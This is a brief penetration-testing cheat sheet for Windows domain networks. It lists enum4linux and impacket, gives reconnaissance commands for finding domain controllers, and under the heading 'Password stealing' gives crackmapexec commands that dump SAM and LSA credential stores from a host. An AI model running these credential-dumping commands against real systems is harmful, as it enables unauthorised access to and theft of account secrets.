Tools enum4linux https://github.com/CiscoCXSecurity/enum4linux impacket https://github.com/SecureAuthCorp/impacket Commands

1. Starting point cat /etc/resolv.conf nmcli dev show eth2 nslookup -type=srv _ldap._tcp.dc._msdcs.<domain> nmap -script broadcast-dhcp-discover 2. Password stealing Crackmapexec sudo crackmapexec smb <ip> -u '<user>' -p '<pass>' --local-auth --sam sudo crackmapexec smb <ip> -u '<user>' -p '<pass>' --local-auth --lsa